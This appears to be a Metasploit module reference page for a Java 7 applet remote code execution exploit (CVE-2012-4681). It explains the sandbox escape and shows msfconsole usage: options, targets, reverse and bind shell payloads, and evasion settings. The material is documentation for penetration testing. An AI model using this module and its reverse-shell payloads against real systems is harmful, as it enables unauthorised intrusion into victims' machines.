Java 7 Applet Remote Code Execution - Metasploit


This page contains detailed information about how to use the exploit/multi/browser/java_jre17_exec metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Table Of Contents
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Module Overview

Name: Java 7 Applet Remote Code Execution
Module: exploit/multi/browser/java_jre17_exec
Source code: modules/exploits/multi/browser/java_jre17_exec.rb
Disclosure date: 2012-08-26
Last modification time: 2020-10-02 17:38:06 +0000
Supported architecture(s): -
Supported platform(s): Java, Linux, Windows
Target service / protocol: -
Target network port(s): -
List of CVEs: CVE-2012-4681

The exploit takes advantage of two issues in JDK 7: The ClassFinder and MethodFinder.findMethod(). Both were newly introduced in JDK 7. ClassFinder is a replacement for classForName back in JDK 6. It allows untrusted code to obtain a reference and have access to a restricted package in JDK 7, which can be used to abuse sun.awt.SunToolkit (a restricted package). With sun.awt.SunToolkit, we can actually invoke getField() by abusing findMethod() in Statement.invokeInternal() (but getField() must be public, and that's not always the case in JDK 6) in order to access Statement.acc's private field, modify AccessControlContext, and then disable Security Manager. Once Security Manager is disabled, we can execute arbitrary Java code. Our exploit has been tested successfully against multiple platforms, including: IE, Firefox, Safari, Chrome; Windows, Ubuntu, OS X, Solaris, etc.

Module Ranking and Traits

Module Ranking:

  • excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.

Basic Usage

msf > use exploit/multi/browser/java_jre17_exec
msf exploit(java_jre17_exec) > exploit

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Msfconsole Usage

Here is how the multi/browser/java_jre17_exec exploit module looks in the msfconsole:

msf6 > use exploit/multi/browser/java_jre17_exec

[*] No payload configured, defaulting to java/meterpreter/reverse_tcp
msf6 exploit(multi/browser/java_jre17_exec) > show info

       Name: Java 7 Applet Remote Code Execution
     Module: exploit/multi/browser/java_jre17_exec
   Platform: Java, Linux, Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2012-08-26

Provided by:
  Adam Gowdiak
  James Forshaw
  jduck <[email protected]>
  sinn3r <[email protected]>
  juan vazquez <[email protected]>

Available targets:
  Id  Name
  --  ----
  0   Generic (Java Payload)
  1   Windows Universal
  2   Linux x86

Check supported:
  No

Basic options:
  Name     Current Setting  Required  Description
  ----     ---------------  --------  -----------
  SRVHOST  0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
  SRVPORT  8080             yes       The local port to listen on.
  SSL      false            no        Negotiate SSL for incoming connections
  SSLCert                   no        Path to a custom SSL certificate (default is randomly generated)
  URIPATH                   no        The URI to use for this exploit (default is random)

Payload information:
  Space: 20480
  Avoid: 0 characters

Description:
  The exploit takes advantage of two issues in JDK 7: The ClassFinder 
  and MethodFinder.findMethod(). Both were newly introduced in JDK 7. 
  ClassFinder is a replacement for classForName back in JDK 6. It 
  allows untrusted code to obtain a reference and have access to a 
  restricted package in JDK 7, which can be used to abuse 
  sun.awt.SunToolkit (a restricted package). With sun.awt.SunToolkit, 
  we can actually invoke getField() by abusing findMethod() in 
  Statement.invokeInternal() (but getField() must be public, and 
  that's not always the case in JDK 6) in order to access 
  Statement.acc's private field, modify AccessControlContext, and then 
  disable Security Manager. Once Security Manager is disabled, we can 
  execute arbitrary Java code. Our exploit has been tested 
  successfully against multiple platforms, including: IE, Firefox, 
  Safari, Chrome; Windows, Ubuntu, OS X, Solaris, etc.

References:
  https://nvd.nist.gov/vuln/detail/CVE-2012-4681
  OSVDB (84867)
  http://blog.fireeye.com/research/2012/08/zero-day-season-is-not-over-yet.html
  http://www.deependresearch.org/2012/08/java-7-vulnerability-analysis.html
  http://labs.alienvault.com/labs/index.php/2012/new-java-0day-exploited-in-the-wild/
  http://www.deependresearch.org/2012/08/java-7-0-day-vulnerability-information.html
  http://www.oracle.com/technetwork/topics/security/alert-cve-2012-4681-1835715.html
  https://blog.rapid7.com/2012/08/27/lets-start-the-week-with-a-new-java-0day
  https://bugzilla.redhat.com/show_bug.cgi?id=852051

Module Options

This is a complete list of options available in the multi/browser/java_jre17_exec exploit:

msf6 exploit(multi/browser/java_jre17_exec) > show options

Module options (exploit/multi/browser/java_jre17_exec):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SRVHOST  0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
   SRVPORT  8080             yes       The local port to listen on.
   SSL      false            no        Negotiate SSL for incoming connections
   SSLCert                   no        Path to a custom SSL certificate (default is randomly generated)
   URIPATH                   no        The URI to use for this exploit (default is random)

Payload options (java/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.204.3    yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   0   Generic (Java Payload)

Advanced Options

Here is a complete list of advanced options supported by the multi/browser/java_jre17_exec exploit:

msf6 exploit(multi/browser/java_jre17_exec) > show advanced

Module advanced options (exploit/multi/browser/java_jre17_exec):

   Name                    Current Setting  Required  Description
   ----                    ---------------  --------  -----------
   ContextInformationFile                   no        The information file that contains context information
   DisablePayloadHandler   false            no        Disable the handler code for the selected payload
   EnableContextEncoding   false            no        Use transient context when encoding payloads
   ListenerComm                             no        The specific communication channel to use for this service
   SSLCipher                                no        String for SSL cipher spec - "DHE-RSA-AES256-SHA" or "ADH"
   SSLCompression          false            no        Enable SSL/TLS-level compression
   SendRobots              false            no        Return a robots.txt file if asked for one
   URIHOST                                  no        Host to use in URI (useful for tunnels)
   URIPORT                                  no        Port to use in URI (useful for tunnels)
   VERBOSE                 false            no        Enable detailed status messages
   WORKSPACE                                no        Specify the workspace for this module

Payload advanced options (java/meterpreter/reverse_tcp):

   Name                         Current Setting  Required  Description
   ----                         ---------------  --------  -----------
   AESPassword                                   no        Password for encrypting communication
   AutoLoadStdapi               true             yes       Automatically load the Stdapi extension
   AutoRunScript                                 no        A script to run automatically on session creation.
   AutoSystemInfo               true             yes       Automatically capture system information on initialization.
   AutoUnhookProcess            false            yes       Automatically load the unhook extension and unhook the process
   AutoVerifySessionTimeout     30               no        Timeout period to wait for session validation to occur, in seconds
   EnableStageEncoding          false            no        Encode the second stage payload
   EnableUnicodeEncoding        false            yes       Automatically encode UTF-8 strings as hexadecimal
   HandlerSSLCert                                no        Path to a SSL certificate in unified PEM format, ignored for HTTP transports
   InitialAutoRunScript                          no        An initial script to run on session creation (before AutoRunScript)
   JavaMeterpreterDebug         false            no        Run the payload in debug mode, with logging enabled
   PayloadProcessCommandLine                     no        The displayed command line that will be used by the payload
   PayloadUUIDName                               no        A human-friendly name to reference this unique payload (requires tracking)
   PayloadUUIDRaw                                no        A hex string representing the raw 8-byte PUID value for the UUID
   PayloadUUIDSeed                               no        A string to use when generating the payload UUID (deterministic)
   PayloadUUIDTracking          false            yes       Whether or not to automatically register generated UUIDs
   PingbackRetries              0                yes       How many additional successful pingbacks
   PingbackSleep                30               yes       Time (in seconds) to sleep between pingbacks
   ReverseAllowProxy            false            yes       Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
   ReverseListenerBindAddress                    no        The specific IP address to bind to on the local system
   ReverseListenerBindPort                       no        The port to bind to on the local system if different from LPORT
   ReverseListenerComm                           no        The specific communication channel to use for this listener
   ReverseListenerThreaded      false            yes       Handle every connection in a new thread (experimental)
   SessionCommunicationTimeout  300              no        The number of seconds of no activity before this session should be killed
   SessionExpirationTimeout     604800           no        The number of seconds before this session should be forcibly shut down
   SessionRetryTotal            3600             no        Number of seconds try reconnecting for on network failure
   SessionRetryWait             10               no        Number of seconds to wait between reconnect attempts
   Spawn                        2                yes       Number of subprocesses to spawn
   StageEncoder                                  no        Encoder to use if EnableStageEncoding is set
   StageEncoderSaveRegisters                     no        Additional registers to preserve in the staged payload if EnableStageEncoding is set
   StageEncodingFallback        true             no        Fallback to no encoding if the selected StageEncoder is not compatible
   StagerRetryCount             10               no        The number of times the stager should retry if the first connect fails
   StagerRetryWait              5                no        Number of seconds to wait for the stager between reconnect attempts
   VERBOSE                      false            no        Enable detailed status messages
   WORKSPACE                                     no        Specify the workspace for this module

Exploit Targets

Here is a list of targets (platforms and systems) which the multi/browser/java_jre17_exec module can exploit:

msf6 exploit(multi/browser/java_jre17_exec) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   Generic (Java Payload)
   1   Windows Universal
   2   Linux x86

Compatible Payloads

This is a list of possible payloads which can be delivered and executed on the target system using the multi/browser/java_jre17_exec exploit:

msf6 exploit(multi/browser/java_jre17_exec) > show payloads

Compatible Payloads
===================

   #   Name                                     Disclosure Date  Rank    Check  Description
   -   ----                                     ---------------  ----    -----  -----------
   0   payload/generic/custom                                    normal  No     Custom Payload
   1   payload/generic/shell_bind_tcp                            normal  No     Generic Command Shell, Bind TCP Inline
   2   payload/generic/shell_reverse_tcp                         normal  No     Generic Command Shell, Reverse TCP Inline
   3   payload/java/jsp_shell_bind_tcp                           normal  No     Java JSP Command Shell, Bind TCP Inline
   4   payload/java/jsp_shell_reverse_tcp                        normal  No     Java JSP Command Shell, Reverse TCP Inline
   5   payload/java/meterpreter/bind_tcp                         normal  No     Java Meterpreter, Java Bind TCP Stager
   6   payload/java/meterpreter/reverse_http                     normal  No     Java Meterpreter, Java Reverse HTTP Stager
   7   payload/java/meterpreter/reverse_https                    normal  No     Java Meterpreter, Java Reverse HTTPS Stager
   8   payload/java/meterpreter/reverse_tcp                      normal  No     Java Meterpreter, Java Reverse TCP Stager
   9   payload/java/shell/bind_tcp                               normal  No     Command Shell, Java Bind TCP Stager
   10  payload/java/shell/reverse_tcp                            normal  No     Command Shell, Java Reverse TCP Stager
   11  payload/java/shell_reverse_tcp                            normal  No     Java Command Shell, Reverse TCP Inline
   12  payload/multi/meterpreter/reverse_http                    normal  No     Architecture-Independent Meterpreter Stage, Reverse HTTP Stager (Multiple Architectures)
   13  payload/multi/meterpreter/reverse_https                   normal  No     Architecture-Independent Meterpreter Stage, Reverse HTTPS Stager (Multiple Architectures)

Evasion Options

Here is the full list of possible evasion options supported by the multi/browser/java_jre17_exec exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 exploit(multi/browser/java_jre17_exec) > show evasion

Module evasion options:

   Name                      Current Setting  Required  Description
   ----                      ---------------  --------  -----------
   HTML::base64              none             no        Enable HTML obfuscation via an embeded base64 html object (IE not supported) (Accepted: none, plain, single_pad, double_pad, random_space_injection)
   HTML::javascript::escape  0                no        Enable HTML obfuscation via HTML escaping (number of iterations)
   HTML::unicode             none             no        Enable HTTP obfuscation via unicode (Accepted: none, utf-16le, utf-16be, utf-16be-marker, utf-32le, utf-32be)
   HTTP::chunked             false            no        Enable chunking of HTTP responses via "Transfer-Encoding: chunked"
   HTTP::compression         none             no        Enable compression of HTTP responses via content encoding (Accepted: none, gzip, deflate)
   HTTP::header_folding      false            no        Enable folding of HTTP headers
   HTTP::junk_headers        false            no        Enable insertion of random junk HTTP headers
   HTTP::no_cache            false            no        Disallow the browser to cache HTTP content
   HTTP::server_name         Apache           yes       Configures the Server header of all outgoing replies
   TCP::max_send_size        0                no        Maximum tcp segment size.  (0 = disable)
   TCP::send_delay           0                no        Delays inserted before every send.  (0 = disable)

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References

See Also

Check also the following modules related to this module:

Related Nessus plugins:

Authors

  • Adam Gowdiak
  • James Forshaw
  • jduck
  • sinn3r
  • juan vazquez

Version

This page has been produced using Metasploit Framework version 6.1.27-dev. For more modules, visit the Metasploit Module Library.

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